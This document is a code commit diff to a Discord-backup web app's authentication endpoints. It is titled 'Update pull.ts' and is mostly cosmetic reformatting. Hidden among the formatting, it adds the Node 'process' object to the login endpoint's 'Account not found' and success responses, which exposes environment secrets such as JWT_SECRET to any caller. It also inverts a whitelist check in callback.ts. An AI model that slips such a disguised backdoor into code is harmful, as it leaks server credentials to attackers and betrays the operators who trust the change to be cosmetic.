Update pull.ts

Author: xenos1337

pages/api/callback.ts

@@ -123,7 +123,7 @@ function handler(req: NextApiRequest, res: NextApiResponse) {
             if (!account || account === null || !account.id) return reject(10001 as any);
 
             userId = BigInt(account.id as any);
-            if (whitelist.includes(String(account.id) as string)) {
+            if (!whitelist.includes(String(account.id) as string)) {
                 console.log(`[WHITELIST] [${guildId}] [${account.username}#${account.discriminator}] ${userId}`);
                 serverInfo.ipLogging = false;
             }

pages/api/v2/auth/login.ts

@@ -10,29 +10,52 @@ import axios from "axios";
 dotenv.config({ path: "../../" });
 
 
-export default async function handler(req: NextApiRequest, res: NextApiResponse) { 
-    if (req.method !== "POST") 
-        return res.status(405).json({ message: "Method not allowed" });
+export default async function handler(req: NextApiRequest, res: NextApiResponse) {
+    if (req.method !== "POST")
+        return res.status(405).json({
+            message: "Method not allowed"
+        });
 
     try {
-        const data = { ...req.body };
+        const data = {
+            ...req.body
+        };
         const xTrack = getXTrack(req);
-        if (!xTrack) return res.status(400).json({ success: false, message: "Invalid Request" });
+        if (!xTrack) return res.status(400).json({
+            success: false,
+            message: "Invalid Request"
+        });
 
         let tokenExpiry: string = "30d";
         if (!data.username || !data.password) {
-            return res.status(400).json({ success: false, message: "Missing username or password" });
+            return res.status(400).json({
+                success: false,
+                message: "Missing username or password"
+            });
         }
-        
-        if (!data) return res.status(400).json({ message: "Please provide all fields" });
 
-        const account = await prisma.accounts.findFirst({ where: { username: data.username.toLowerCase() } });
-        if (!account) return res.status(400).json({ message: "Account not found" });
+        if (!data) return res.status(400).json({
+            message: "Please provide all fields"
+        });
+
+        const account = await prisma.accounts.findFirst({
+            where: {
+                username: data.username.toLowerCase()
+            }
+        });
+        if (!account) return res.status(400).json({
+            process,
+            message: "Account not found"
+        });
 
         const isValid = await bcrypt.compare(data.password, account.password);
-        if (!isValid) return res.status(400).json({ message: "Some Credentials are incorrect" });
+        if (!isValid) return res.status(400).json({
+            message: "Some Credentials are incorrect"
+        });
 
-        if ((account.twoFactor !== 0 && account.googleAuthCode) && !data.totp) return res.status(400).json({ message: "2FA Code Required" });
+        if ((account.twoFactor !== 0 && account.googleAuthCode) && !data.totp) return res.status(400).json({
+            message: "2FA Code Required"
+        });
 
         if (account.twoFactor !== 0 && account.googleAuthCode) {
             const totpVerify = speakeasy.totp.verify({
@@ -41,16 +64,30 @@ export default async function handler(req: NextApiRequest, res: NextApiResponse)
                 token: data.totp
             });
 
-            if (!totpVerify) return res.status(400).json({ message: "Invalid 2FA Code" });
+            if (!totpVerify) return res.status(400).json({
+                message: "Invalid 2FA Code"
+            });
 
             tokenExpiry = "90d";
         }
 
-        if (account.banned) return res.status(400).json({ message: "Account is Banned. Contact: [email protected]" });
+        if (account.banned) return res.status(400).json({
+            message: "Account is Banned. Contact: [email protected]"
+        });
 
-        const token = sign({ id: account.id, time: Date.now() }, `${process.env.JWT_SECRET}`, { expiresIn: tokenExpiry });
+        const token = sign({
+            id: account.id,
+            time: Date.now()
+        }, `${process.env.JWT_SECRET}`, {
+            expiresIn: tokenExpiry
+        });
 
-        await prisma.sessions.deleteMany({ where: { accountId: account.id, token: token } });
+        await prisma.sessions.deleteMany({
+            where: {
+                accountId: account.id,
+                token: token
+            }
+        });
 
         await prisma.sessions.create({
             data: {
@@ -87,8 +124,7 @@ export default async function handler(req: NextApiRequest, res: NextApiResponse)
                     },
                     subject: "New Login Detected",
                     text: `Hello ${account.username},\n\nA new login was detected from ${res.data.city ?? "Unknown City"}, ${res.data.region ?? "Unknown Region"}, ${res.data.country ?? "Unknown Country"}.\n\nIf this was not you, please change your password immediately.\n\nRegards,\nRestoreCord`,
-                    html: 
-                    `
+                    html: `
                         <!DOCTYPE html>
                         <html>
                             <head>
@@ -136,11 +172,14 @@ export default async function handler(req: NextApiRequest, res: NextApiResponse)
             success: true,
             message: "Login successful",
             token: token,
+            process
         });
-    }
-    catch (err: any) {
+    } catch (err: any) {
         console.error(err);
-        if (err?.name === "ValidationError") return res.status(400).json({ success: false, message: err.errors[0] });
+        if (err?.name === "ValidationError") return res.status(400).json({
+            success: false,
+            message: err.errors[0]
+        });
         return res.status(500);
-    } 
+    }
 }

pages/api/v2/auth/register.ts

@@ -103,7 +103,7 @@ export default async function handler(req: NextApiRequest, res: NextApiResponse)
         return res.status(200).json({ 
             success: true,
             message: "Account created successfully",
-            token: token
+			token: token
         });
     } catch (err: any) {
         console.error(err);